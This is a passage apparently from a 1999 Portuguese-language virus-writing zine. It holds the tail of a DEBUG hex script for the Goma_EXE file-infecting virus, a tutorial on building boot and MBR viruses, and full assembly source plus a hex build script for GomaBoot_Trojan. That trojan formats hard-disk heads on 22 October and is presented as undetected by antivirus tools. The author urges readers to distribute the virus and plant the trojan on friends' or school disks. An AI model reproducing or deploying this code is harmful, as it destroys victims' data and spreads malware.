E 02A0 8B D8 B1 04 D3 EB 03 D3 25 0F 00 5B 3E 2B 96 19 E 02B0 07 3E 89 96 27 07 3E 89 86 25 07 81 C2 00 01 3E E 02C0 89 96 1F 07 5A 58 05 0F 06 83 D2 00 B9 00 02 F7 E 02D0 F1 40 3E 89 96 13 07 3E 89 86 15 07 B4 40 B9 0F E 02E0 06 8D 96 05 01 CD 21 B8 00 42 99 33 C9 CD 21 B4 E 02F0 40 B9 1B 00 41 8D 96 11 07 CD 21 E9 2C FF CD 21 E 0300 C3 5B 54 44 47 27 39 39 5D 0D 0A 20 20 20 20 20 E 0310 20 20 47 6F 6D 61 5F 45 58 45 5F 39 39 20 70 6F E 0320 72 20 4E 69 6D 5F 42 75 73 40 68 6F 74 6D 61 69 E 0330 6C 2E 63 6F 6D 0D 0A 0D 0A 20 2E 2E 2E 20 47 6F E 0340 6D 61 20 70 61 72 61 20 73 65 6D 70 72 65 20 73 E 0350 65 75 20 62 61 6E 64 6F 20 64 65 20 43 75 72 75 E 0360 72 75 20 2E 2E 2E 20 0D 0A 0D 0A 20 41 67 72 61 E 0370 64 65 63 69 6D 65 6E 74 6F 73 20 3A 0D 0A 20 20 E 0380 20 20 20 20 20 20 20 20 20 20 41 6C 6C 61 6E 20 E 0390 2C 20 42 6F 7A 6F 20 28 44 61 6E 69 65 6C 29 20 E 03A0 2C 20 44 61 6E 69 65 6C 20 2C 20 44 6F 69 64 6F E 03B0 20 28 43 6C 61 75 64 69 6F 29 20 2C 0D 0A 20 20 E 03C0 20 44 75 20 28 45 64 75 61 72 64 6F 29 20 2C 20 E 03D0 47 75 69 6E 6F 20 28 57 65 6C 74 6F 6E 20 28 49 E 03E0 6E 20 4D 65 6D 6F 72 69 61 6D 29 29 20 2C 20 48 E 03F0 61 72 72 79 20 28 46 6C 61 76 69 6F 29 20 2C 0D E 0400 0A 20 20 20 48 65 6E 72 69 71 75 65 20 2C 20 4A E 0410 61 70 6F 6E 65 73 20 28 4D 61 72 63 65 6C 6F 29 E 0420 20 2C 20 4A 65 63 61 20 28 41 6C 64 6F 29 20 2C E 0430 20 52 65 67 69 73 20 28 49 6E 20 4D 65 6D 6F 72 E 0440 69 61 6D 29 20 2C 20 0D 0A 20 20 20 52 69 63 61 E 0450 72 64 6F 20 2C 20 53 74 72 20 28 45 76 65 72 73 E 0460 6F 6E 29 20 2C 20 45 75 20 65 20 6F 20 57 69 6C E 0470 6C 69 61 6E 20 2E 0D 0A 0D 0A 20 20 20 41 6F 20 E 0480 4C 65 6C 65 27 28 41 6C 65 78 61 6E 64 72 65 29 E 0490 20 2C 20 61 6F 20 50 65 64 72 6F 20 2C 20 61 6F E 04A0 20 54 68 79 61 67 6F 20 2C 20 61 6F 20 5A 65 27 E 04B0 20 28 64 6F 20 42 65 6C 65 6D 29 2C 20 0D 0A 20 E 04C0 20 20 61 6F 20 41 6C 6C 61 6E 20 28 4D 75 74 61 E 04D0 6E 74 65 29 20 2C 20 61 6F 20 44 61 72 6B 2D 44 E 04E0 72 65 61 6D 20 28 44 65 6E 69 73 29 20 2C 20 61 E 04F0 6F 20 4D 6F 75 72 61 20 28 47 61 62 72 69 65 6C E 0500 29 20 2C 0D 0A 20 20 20 61 6F 20 4D 4D 49 20 28 E 0510 4D 61 72 63 65 6C 6F 29 20 2C 20 61 6F 20 41 6C E 0520 65 76 69 72 75 73 20 28 4A 6F 73 65 29 20 2C 20 E 0530 61 6F 20 5A 82 28 4C 75 63 69 61 6E 6F 29 20 2C E 0540 20 61 6F 20 46 72 65 64 20 2C 0D 0A 20 20 20 61 E 0550 6F 20 4C 69 70 65 20 28 4C 75 69 7A 29 2C 61 6F E 0560 73 20 62 6F 79 27 73 20 28 4D 61 72 63 65 6C 6F E 0570 2C 20 52 6F 64 72 69 67 6F 20 65 20 54 61 64 61 E 0580 73 68 69 29 20 65 20 61 20 74 6F 64 61 20 0D 0A E 0590 20 20 20 67 61 6C 65 72 61 20 64 61 20 66 61 63 E 05A0 75 20 28 45 51 20 39 38 20 75 6E 69 63 61 6D 70 E 05B0 29 20 0D 0A 0D 0A 20 43 69 64 61 64 65 20 50 61 E 05C0 74 72 69 61 72 63 61 20 2D 20 5A 6F 6E 61 20 4C E 05D0 65 73 74 65 20 2D 20 53 50 20 2D 20 53 61 6F 20 E 05E0 50 61 75 6C 6F 20 2D 20 42 72 61 73 69 6C 0D 0A E 05F0 0D 0A 20 42 6F 61 20 73 6F 72 74 65 20 2C 20 61 E 0600 68 20 61 70 65 72 74 61 20 61 6C 67 75 6D 61 20 E 0610 74 65 63 6C 61 20 70 61 72 61 20 63 6F 6E 74 69 E 0620 6E 75 61 72 20 2E 2E 2E 0D 0A 0D 0A 20 50 73 2E E 0630 20 41 65 20 67 61 6C 65 72 61 20 74 61 20 61 69 E 0640 20 6F 20 6E 6F 6D 65 20 64 6F 36 20 61 67 6F 72 E 0650 61 20 6E 61 6F 20 65 6E 63 68 65 20 6D 61 69 73 E 0660 20 6F 20 73 61 63 6F 20 21 21 21 0A 0D 24 E8 00 E 0670 00 5D 81 ED 71 06 CC C3 B4 2A E8 81 FC 80 FE 0A E 0680 75 71 80 FA 16 75 6C B4 09 8D 96 F4 06 CD 21 E8 E 0690 26 00 B4 09 8D 96 01 03 CD 21 B4 00 CD 16 C3 B8 E 06A0 00 CA BB 42 54 CD 2F 3C 00 75 01 C3 B8 07 0E CD E 06B0 10 B4 00 CD 16 CD 19 C3 B5 00 BA 80 00 B5 00 B0 E 06C0 00 B1 06 D2 E0 8A C8 80 C9 01 B8 00 05 E8 20 00 E 06D0 72 07 FE C6 80 FE 09 75 E4 B9 23 00 B8 07 0E CD E 06E0 10 E2 F9 C3 B8 00 FA FE C0 BA 45 59 E8 0F FC C3 E 06F0 CD 13 C3 C3 41 67 75 61 72 64 65 20 61 6C 67 75 E 0700 6E 73 20 69 6E 73 74 61 6E 74 65 73 20 2E 2E 2E E 0710 24 RCX 0611 W Q ;;;;;;;;;;;;;;;;; GOMA_EXE.SCR ;;;;;;;;;;;;;;;;;;;;;;; Bom o script do Goma_EXE esta ai, e' so' rodar o debug para criar o Goma.1551. Que ate' o momento e' 100% desconhecido, nao perca tempo, ro- de o script no debug e distribua a vontade ... Lembre-se que esse e' um virus que infecta arquivos .EXE caso exis- ta um NE no diretorio (new exe - 32 Bits), ele sera possivelmente infec- tado e com certeza nao funcionara corretamente, tome cuidado, pois difi- cilmente voce tera seu arquivo de volta ... ──────────────────────────────────────────────────────────────────────────── __ ___ ___ / __ . __ |\/| |__| | |__ |__) | |__| | | | | | |___ | \ | | | ──────────────────────────────────────────────────────────────────────────── ──────────────────────────── 7 - Virus de Boot ──────────────────────────── Dos originais de Dark Angel em ingles , e com modificacoes de nim_bus ──────────────────────────────────────── Virus de Boot (Entenda-os , contrua-os , divirta-se) ──────────────────────────────────────── Abordaremos nesse artigo virus de boot e Mbr (Tabela de Particao) Os virus "normais" ( TSR's , COM e EXE infectors ) sao executados depois do sistema operacional ser iniado . Os virus de Boot (designarei como sendo virus de boot (o proprio boot de discos flexiveis e o mbr de Hard Disks)) tentam iniciar o sistema operacional, se encontram ,ja es- tao na memoria esperando futuras vitimas, se nao esperam por novos dis- cos (mas ja infectando-os). Vamos falar um pouco de como e' dividido um disco : O disco e' dividido em blocos com 512 bytes cada (Floppy-Disquete) Os blocos variam de acordo com o tamanho do disco O inicio do disco se encontra no bloco 0 A BIOS da tres valores para cada bloco do disco ( setor, cilindro ou trilha e cabeca ou lado ) e se representa pela forma (setor, trilha, cabeca). Cada disco contem um certo numero de setores, trilhas e cabecas. Setores sao numerados de 1 ate setor Trilhas sao numeradas de 0 ate trilha-1 Cabecas sao numeradas de 0 ate cabeca-1 Veja o exemplo: O Bloco 0 sera setor = 1 trilha = 0 cabeca = 0 O Bloco 1 sera setor = 2 trilha = 0 cabeca = 0 O Bloco 2 sera setor = 3 trilha = 0 cabeca = 0 E assim vai, ate que mudamos de trilha (Depende do numero de se- tores que estao na trilha ,quando encher vai para a proxima trilha). Exemplo : Um Bloco da trilha 1 (um bloco qualquer) setor = X (um x qualquer) trilha = 1 cabeca = 0 Ate chegarmos na outra cabeca (quando trilhas e setores ja esti- verem completos). Voce tem que entender o processo como o boot ocorre para entender os virus de boot . Vamos entao a historinha de como se procede um Boot. Quando o computador e resetado, a BIOS checa o primeiro bloco (1,0,0) [notacao : (1,0,0) -> (setor = 1,trilha =0 ,cabeca = 0) , do primeiro HD do sistema ou do Floppy (Existem BIOS que permitem a opcao da sequencia de Boot de A: para C: (1º em A: se nao achar procura em C:) ou de C: para A: ) no endrececo de memoria 7c00h (Hexa please!!!) o bloco que foi lido (se existir uma HD) sera checado com a assinatura 55AAh (em 1FEh) . Essa marca o 55aah indica que e' uma particao valida. Se a particao nao e encontrada, o codigo entao sera executado em 0:7c00 (Formata um disco pega seu boot e abra no TD, caso queira acompanhar melhor) . Se nao achar uma tabela de Particao (chamo so de particao) ou o HD nao existir . A BIOS le o primeiro bloco do disquete (tipo o a:) em 7c00h . Se o disquete for valido ,isto e', dar pra ser lido , o pro- grama que esta no disquete (no boot) sera carregado e executado. Nao ha a checagem como na Particao 55AAh , mas muitos setores de boot os con- tem (digamos que virou padrao !!!). A tabela de particao e basicamente uma simples estrutura no final do primeiro bloco do HD que define onde cade sistema operacional existe no HD ( Essa e a diferenca basica entre o boot de disquete e o de HD ). A estrutrura da particao (tabela) comeca em 1beh no bloco e con- siste num vetor(array) com quatro entradas . Veja as entradas : Offset Tamanho Descricao 0 BYTE Indicador de boot. 0 = sem boot, 80h = com boot 1 BYTE Cabeca onde comeca a particao 2 BYTE Setor onde comeca a particao 3 BYTE Cilindro onde comeca a particao 4 BYTE Indicador de sistema , indica qual Sistema Ope- racional reside na particao. 01 indica DOS 12-bit FAT 04 indica DOS 16-bit FAT 5 BYTE Cabeca onde acaba a particao 6 BYTE Setor onde acaba a particao 7 BYTE Cilindro onde acaba a particao 8 DWORD Numero total de blocos que precendem a particao 0Ch DWORD Numero total de blocos na particao O codigo na tabela de particao carrega o boot record da particao ativa ( a qual esta indicada no primeiro bit na estrutura da tabela de particao ). O boot record entao carrega o sistema operacional que resi- de na respectiva particao . Quando a BIOS decide realizar o boot de um disquete , ela le no primeiro bloco do disquete para 7c00h . Disquetes nao tem tabela de particao , entao esse bloco e equivalente ao boot record de uma parti- cao do HD. No DOS, o boot record consiste em 3 bytes para um JMP seguido pe- la estrutura abaixo , as vezes , conhecido como bloco de parametro da BIOS (BPB). Veja a estrutura : Offset Tamanho Descricao 3 8 bytes OEM nome e versao (ASCIIZ) ; ID do BOOT 0B Word Bytes por setor 0D Byte Setores por cluster 0E Word Setores reservados (inicio no setor logico 0) 10 Byte Numero de FAT's 11 Word Numero de entrada de diretorio (32 bytes cada) 13 Word Numero total de setores 15 Byte Descritor da midia 17 Word Setores por FAT 19 Word Setores por track 1B Word Numero de cabecaos 1D Word Numero de setores escondidos O restante dos 512 miseros bytes do boot consistem no codigo que carrega e executa os arquivos de sistema do sistema operacional pensa- mos agora no DOS . Primeiramente e importante notar que a tabela de particao e uma convencao que permite a diferentes sistemas operacionais a co-existi- rem num mesmo HD. A estrutura do boot record definida acima e usada pe- lo DOS e para os programas do DOS . E evidente que outro sistema opera- cional tambem possa interpretar essa estrutura (e viavel, mas nao muito provavel). O DOS nao reconhece tabelas de particao se nao estiverem no seu local usual. Disquetes nao funcionam corretamente se o boot record nao for carregado quando o DOS "pedir" a leitura do primeiro bloco. Em ou- tras palavras, tenha certeza de que todas as "requisicoes" do seu boot estejam nos lugares corretos. Uma saida muito boa para isso e modificar os blocos para alocar uma copia do original, sendo assim : stealth. Entendendo mais ou menos essas estruturas , o metodo de infeccao sera nao muito complicado.O unico probleminha e substituir o codigo da tabela de particao ou o boot record pelo seu (o que voce criou) . Todo o seu codigo tem que armazenar o bloco em algum lugar do disco e trocar o bloco com ele mesmo. Quando o virus se torna ativo, ele precisa colo- car a si mesmo na memoria e entao carregar o bloco original na memoria em 7c00h e transferir o controle para esse codigo . Uma vez na memoria, o virus esta livre para infectar qualquer disco que entre em contato com esse computador . Isso ser muito legal e facil de ser dito , mas existem detalhes que lhe serao muito importantes de saber antes de sair por ai escreven- do um virus de boot. Quando o controle e transferido para uma tabela de particao ou ao boot record , CS:IP sera setado para 0:7c00 ; SS:SP nao esta definido . E muitos virus de boot setam para 0:7c00 , o que leva a pilha a ser co- locada logo abaixo da area de carga (carregamento do programa) . Isso é suficiente para as necessidades da maioria dos virus. É de muita utilidade ser capaz de achar espacos vagos para armaze- nar o setor de boot original ou a particao original . Aqui o virus tem uma porrada de escolhas : Em HD's , muitos virus armazenam a particao original num espcao nao utilizado entre a tabela de particao e a primeira particao. A pri- meira particao geralmente comeca em (2,1,0) ou depois disso, entao quer dizer, existe um espaco para armazenagem lá. Ainda em HD's os virus podem armazenar no final do diretorio raiz, porem, existe o risco de escrever porcima de entradas validas de diretó- rio. Uma alternativa que também é muito utilizada,é a de alterar a FAT. A FAT é um vetor de entradas que descreve como os blocos do disco est╞o relatados. As entradas da FAT s╞o de 12 e 16 bits (quando o cara escre- veu a materia) de tamanho, dependendo do disco . 12 bit's s╞o utilizados mais em partiçΣes com menos de 20740 setores e a de 16 com mais do que esse número. A idéia é que o vírus encontre blocos vazios através da FAT, marque-os como bad block (Inválido) , entao coloque o codigo do vírus lá. Com esse modo o DOS pensa que o bloco e invalido e nao escreve nada la, preservando assim o virus no local que ele se encontra. Uma coisa importante nos virus de tabela de particao é que eles po- dem preservar a tabela de particao neles mesmos . Por exemplo , deixe a tabela de particao em 1beh no primeiro bloco do disco isso tera uma van- tagem pois o DOS reconhecera o disco mesmo que o virus nao esteja carre- gado na memória . Nao preservar a estrutura original do disco faz com que fique mais dificil o boot do computador sem carregar o virus na memoria , desde que o DOS nao reconheca o drive (voce nao preservou a estrutura , o DOS nao reconheceu , ate ai seu virus ja esta na memoria do mesmo jeito , ai o usuario insere um disco com boot e puf infecta se nao tiver com a lin- gueta travada ...) . Sendo seu virus ativo na memoria dificilmente um simples FDISK /MBR ira tirar seu virus de lá ... Bom aqui o cara acaba a materia dele dizendo que nao colocaria nenhum fonte , pois tem que explicar ums bago a mais ( o mais que ele tem que explicar sao comandos de alocacao de memoria só isso , veja qualquer TSR e tenha uma base (se bem que e'bem mais complicado com no SETOR de BOOT). Como eu que traduzi, alterei e adaptei a materia inserirei um codigo para um setor de boot , nada como um virus , pois estou esperando arrumar os fontes do Lendro&Kelly , mas um bom trojanzinho de BOOT como ilustracao acho que ja vale ... Vide a Proxima Materia ... ──────────────────────────────────────────────────────────────────────────── ___ __ __ ___ ___ | |__) | | | |___| |\ | | | \ |__| / | | | \| ──────────────────────────────────────────────────────────────────────────── ───────────────────────────────────── 8 - GomaBoot_Trojan (Codigo Fonte) ───────────────────────────────────── Bom, como prometido acima, ai vai os fontes de um cavalo de troia que ficara' no setor de boot dos disquetes de seus amigos, ou da sua es- cola, firma ou sei lá , onde sua imaginacao permitir. E' so' rodar o A86 e só alegria ... ... Goma para sempre seu bando de cururu ... `A memoria de Regis e Guino ... Goma para sempre seu bando de cururu ... Comentários : O trojan tem 512 bytes de tamanho (o tamanho do setor de boot (bah), mas ele nao tem os 512 ,tem menos. Tanto que precisei usar uns dup para encher os 512, por se tratar de um trojan, ele nao se multiplica senao seria virus (bah), voce que vai ter que infectar os disquetes, o trojan, nao fica alocado na memoria e funciona como um boot normal de disquetes sem sistema, escreve mensagem e tudo. Ah ele esta com os parametros para um disco de 1.44 caso deseje parametros para outros discos, mande um mail o trojan so' funciona no dia 22/10/????, nao nesse dia e' um boot normal. - Sem Flags no TBAV (Flag t apenas , logico ativacao dia 2210) , Nada na Heuristica do F-PROT e Nada no DEEP do AVP . Quer dizer e' mais um produto e' 100 % desconhecido !!!! (Só para variar...) - Data de Ativacao 22/10/???? Voces já sabem o por que. - Acao do trojan Formatacao das 9 primeiras cabecas da HD , 35 bips e mensagem (e' logico) !!! (Acao implementada no Goma_COM) - Rotinas que merecem destaque: N╞o houveram rotinas desse tipo. ;;;;;;;;;;;;;;;;;;;;;;;;;;;; GomaBoot_Trojan ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; * Utilize o compilador A86 para compilar ; ; Ex. : A86 boot.asm boot.com ; ; ; ; * Coloque no boot de um disco de preferencia de 1.44 ; ; Ex. : DEBUG boot.com ; ; -w 100 0 0 1 ; ; -q ; ;;;;;;;;;;;;;;;;;; Pronto seu boot ja esta infectado ;;;;;;;;;;;;;;;;;;;;;;;;; page 22101997 title Virus Brasil nº2 em 1999 por nim_bus@hotmail.com name Goma_Boot_Trojan .286c ; Instrucoes 80286 .model tiny ; Modelo de memoria ; BOOT segment byte public 'code' ; assume cs:BOOT,ds:BOOT ; org 0h ; ;;;;;;;;;;;;;;;;;;;;;; Constantes ;;;;;;;;;;;;;;;;;;;;;;;;; Mensagem equ Inicio_Msg - Parametros ; Tamanho_Msg equ Fim_Msg - Inicio_Msg ; Completa_512 equ 512 - (Fim - Parametros) - 2 ; data_sistema equ 04h ; data_ativacao equ 1022h ; Bips equ 0e07h ; Mensagem_fodeu equ Inicio_Msg_fodeu - Parametros ; Tamanho_Msg_fodeu equ Fim_Msg_fodeu - Inicio_Msg_fodeu; ;;;;;;;;;;;;;;;;;;;;;; Constantes ;;;;;;;;;;;;;;;;;;;;;;;;; ; Inicio proc far ; ; Parametros: ; jmp Trojan ; Jump para o Trojan ... ; ;;;; Parametros Disquete de 1.44 ;;;; db "[TDG'99]" ; 03h-0Ah ID do sistema dw 200h ; 0Bh-0Ch bytes por setor db 1h ; 0Dh setores por granulo dw 1h ; 0Eh-0Fh setores na area reservada db 2h ; 10h numero de copias da fat dw 0e0h ; 11h-12h entradas do diretorio raiz dw 0b40h ; 13h-14h total de sectores db 0FEh ; 15h descritor de midia dw 9h ; 16h-17h sectores po fat dw 12h ; 18h-19h sectores por trilha dw 2h ; 1Ah-1Bh lados (cabecas) dw 0h ; 1Ch-1Dh setores escondidos db 9 DUP(0) ; Pule 9 bytes e dw 1997h ; Numero de serie do disco \ 2210-1997 dw 2210h ; Numero de serie do disco / db "Goma Trojan" ; Nome do Volume db "FAT12 " ; Tipo de Sistema de arquivos (Floppy) ; ;;;;;;;; Inicio do Trojan ;;;;;;;;;;; Trojan: ; mov ax,07C0h ; Localizacao do boot record push ax ; pop ds ; ; mov ah,data_sistema ; Ver data do sistema (BIOS) int 1Ah ; ; cmp dx,data_ativacao ; E' dia 22 de outubro jne Continue ; ** Valeu Regis . Valeu Guino ** ; call format ; Vamos a gandaia ... ; mov bx,mensagem_fodeu ; Colocar o offset para a msg de fodeu em si mov cx,tamanho_msg_fodeu ; Tamanho da msg de fodeu de cx ; call Mensagem_Reboot ; Vamos escrever a mensagem e dar um boot ; ;;;;;;;; Rotina de Format ;;;;;;;;;;; Format proc near ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Procedure de GOMA_COM virus ; (Vide Virus Brasil nº1) mov ch,0 ; Track zero mov dx,80h ; Cabeca zero, 1ª HD ; Fodendo: ; mov ch,0 ; Track zero mov al,0 ; Carregue zero mov cl,6 ; Vezes (vai dar zero) shl al,cl ; mov cl,al ; Mover resultado (zero) or cl,1 ; Um agora (proxima linha zero) mov ax,500h ; Formata track call zuei ; jb Bip ; Ja deu vamos bipar inc dh ; Proxima cabeca cmp dh,9 ; Ja estamos na nona cabeca ? jne Fodendo ; Formata se nao ; Format endp ; ; Bip: ; Rotina de "emissao de aviso sonoro" mov cx,35 ; cx = numero de bips beep: ; mov ax,Bips ; chr do bip int 10h ; Bip loop beep ; Ate 35 , por favor !! ret ; Retorne ; Zuei: ; int 13H ; Despistador de Flags ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; ;;;;;;;; Se nao for o dia ;;;;;;;;;;; Continue: ; mov bx,mensagem ; Colocar o offset para a msg em si mov cx,tamanho_msg ; Tamanho da msg de cx ; ;;;;; Rotina de msg e de reboot ;;;;; Mensagem_Reboot: ; mov ah,14 ; Escrever teletype mov al,[bx] ; push ds ; push cx ; push bx ; int 10h ; ; pop bx ; pop cx ; pop ds ; inc bx ; loop Mensagem_Reboot ; ; ; ****** Liga Caps Lock ************* push ds ; mov ax,40h ; mov ds,ax ; mov al,byte ptr DS:[0017h] or al,40h ; mov byte ptr ds:[0017h],al pop ds ; ; ****** Liga Caps Lock ************* ; mov ah,0 ; Espera por uma tecla int 16h ; ; mov ah,15 ; Captura o video (modo) int 10h ; ; mov ah,0 ; Muda o video (Limpa a Tela) int 10h ; ; int 19h ; Boot Novamente ... ;;;;;;; MSG de formatacao ;;;;;;;;;;; inicio_msg_fodeu: ; db 0Dh,0Ah ; db "[TDG'99]",0dh,0ah ; db "Goma_Boot_Trojan por nim_bus@hotmail.com",0dh,0ah db "Que seu HD descanse em paz como meus amigos ...",0dh,0ah fim_msg_fodeu: ; ;;;;;;; MSG dico sem sistema ;;;;;;;; inicio_msg: ; db 0Dh,0Ah ; db "Erro: Disco sem sistema",0dh,0ah db "Solucao: Insira um disco com Sistema",0dh,0ah db "Operacional e aperte alguma tecla",0Dh,0Ah fim_msg: ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Fim: ; db Completa_512 dup (0) ; completa ai os 512 bytes truta !!! db 055h,0AAh ; para falar que é boot (lembra?) Inicio endp ; BOOT ends ; end ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;; GomaBoot_Trojan ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Bom, os fontes estao ai, divirta-se, segue ainda nessa edicao o script para o trojan . ─────────────────────────────────────────────────────────────────────────────── ___ ___ __ . __ ___ (__ | |__) | |__) | ___) |___ | \ | | | ─────────────────────────────────────────────────────────────────────────────── ─────────────────────────────────── 9 - GomaBoot_Trojan (Script File) ─────────────────────────────────── Essa parte do zine contem um script para ser utilizado no debug do dos, esse script cria o trojan GomaBoot_Trojan a partir do debug pelo simples comando: DEBUG < (arquivo.scr) ;;;;;;;;;;;;;;;;;;;; BOOT.SCR ;;;;;;;;;;;;;;;;;;;;;;;; N BOOT.COM E 0100 E9 3B 00 5B 54 44 47 27 39 39 5D 00 02 01 01 00 E 0110 02 E0 00 40 0B FE 09 00 12 00 02 00 00 00 00 00 E 0120 00 00 00 00 00 00 00 97 19 10 22 47 6F 6D 61 20 E 0130 54 72 6F 6A 61 6E 46 41 54 31 32 20 20 20 B8 C0 E 0140 07 50 1F B4 04 CD 1A 81 FA 22 10 75 3B E8 09 00 E 0150 BB BA 00 B9 67 00 E8 35 00 B5 00 BA 80 00 B5 00 E 0160 B0 00 B1 06 D2 E0 88 C1 80 C9 01 B8 00 05 E8 14 E 0170 00 72 07 FE C6 80 FE 09 75 E4 B9 23 00 B8 07 0E E 0180 CD 10 E2 F9 C3 CD 13 C3 BB 21 01 B9 64 00 B4 0E E 0190 8A 07 1E 51 53 CD 10 5B 59 1F 43 E2 F1 1E B8 40 E 01A0 00 8E D8 A0 17 00 0C 40 A2 17 00 1F B4 00 CD 16 E 01B0 B4 0F CD 10 B4 00 CD 10 CD 19 0D 0A 5B 54 44 47 E 01C0 27 39 39 5D 0D 0A 47 6F 6D 61 5F 42 6F 6F 74 5F E 01D0 54 72 6F 6A 61 6E 20 70 6F 72 20 6E 69 6D 5F 62 E 01E0 75 73 40 68 6F 74 6D 61 69 6C 2E 63 6F 6D 0D 0A E 01F0 51 75 65 20 73 65 75 20 48 44 20 64 65 73 63 61 E 0200 6E 73 65 20 65 6D 20 70 61 7A 20 63 6F 6D 6F 20 E 0210 6D 65 75 73 20 61 6D 69 67 6F 73 20 2E 2E 2E 0D E 0220 0A 0D 0A 45 72 72 6F 3A 20 44 69 73 63 6F 20 73 E 0230 65 6D 20 73 69 73 74 65 6D 61 0D 0A 53 6F 6C 75 E 0240 63 61 6F 3A 20 49 6E 73 69 72 61 20 75 6D 20 64 E 0250 69 73 63 6F 20 63 6F 6D 20 53 69 73 74 65 6D 61 E 0260 0D 0A 4F 70 65 72 61 63 69 6F 6E 61 6C 20 65 20 E 0270 61 70 65 72 74 65 20 61 6C 67 75 6D 61 20 74 65 E 0280 63 6C 61 0D 0A 00 00 00 00 00 00 00 00 00 00 00 E 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 AA RCX 0200 W Q ;;;;;;;;;;;;;;;;;;;; BOOT.SCR ;;;;;;;;;;;;;;;;;;;;;;;; Seguiu acima o script do trojan, as explicacoes e comentarios do trojan se encontram na materia sobre virus de boot e na propria fonte do trojan. ────────────────────────────────────────────────────────────────────────────── __ ___ | / |__| | |__ | | |/ | | |___ |___ |___| ────────────────────────────────────────────────────────────────────────────── ──────────────── 10 - Valeu ... ──────────────── Ae galera, espero que tenham gostado da segunda edicao do zine VIRUS BRASIL . Como de costume, para seguirmos um padrao aqui faremos uma retros- pectiva dos assuntos tratados nesse numero do zine . Assuntos abordados nessa edicao : - Como criar novos virus (indetectaveis) aos anti-virus . Temos ai os fontes de um "novo" virus o goma_G2 - Uma materia sobre Virus de Boot E um exemplo para ilustrar a materia melhor o Trojan BootGoma_Trojan - Um utilitario o EXE2COM que converte arquivos .EXE para arquivos .COM (Binarios) com fontes em C e UUencodado - Nessa edicao temos apenas 2 virus (ambos de minha autoria) e um trojan , tambem de minha autoria. Em edicoes futuras , colocarei mais virus e de colegas brasileiros (e' claro) ... Temos entao: 2 fontes de virus (Goma_G2 e GOMA_EXE) com seus respectivos scripts para debugger. 1 fonte de trojan de boot (GomaBoot_Trojan) com o respectivo script. Consegui fazer uma homepage na fortunecity e se quizer dar uma pas- sada por la de vez em quando para ver se rola alguma coisa nova por la o endereco segue: w3.to/virusbrasil . Nao prometo que a pagina sera atualizada diariamente, semanalmente, posso ate dizer que mensalmente, creio que alteracoes ocorreram em virtu- de de novos numeros do zine e de links para outras paginas ou algum down- load interessante. Nesses casos, ja' que terei de mexer na pagina, vou dar uma modificada nela. Em relacao `a erros de portugues devo relembrar o que disse no pri- meiro numero do zine, se voce encontrar erros de grafia, acentuacao, hi- fem, e o caraio a 4, me desculpe, mas o zine inteiro foi sem acentuacao grafica, com um so' corretor (que sou eu, que alias tambem escrevi o zine e corrigir algo que voce mesmo escreve e' muito foda),portanto, e' obvio que erros ocorreram e passaram batido, sempre que possivel durante sua leitura, os corrija, para que futuros leitores, nao sofram tanto para "traduzir" o zine. Espero realmente que tenham gostado desse numero do zine, peco a voce leitor que de a sua opiniao sobre o zine, o que ta uma bosta, o que ta ruim pa caraio (falar do portugues, dos acentos e da grafia errada das palavras ate' vale ), o que ficou mais ou menos e ate' sobre o que ficou legal ou quase bom, sua critica e' muito importante para melhorarmos o do zine como um todo, seja no visual ou no conteudo, muitos valeus ... Nim Bus ****************************************************************************** Use sempre camisinha, o HIV e' um virus que nao sabe brincar ****************************************************************************** Ficamos por aqui nim_bus@hotmail.com ──────────────── 11 - Thanks ... ──────────────── Nim Bus Thanks : MARCO pelas BUZINAS MARCO (agora chapô / olha minha voz / tuim) PHILIPS MORRIS pelo MARLBORO (sem filtro é muito melhor) FAMILIA WALKER pelos SEUS INIGUALAVEIS WISKIES EOZ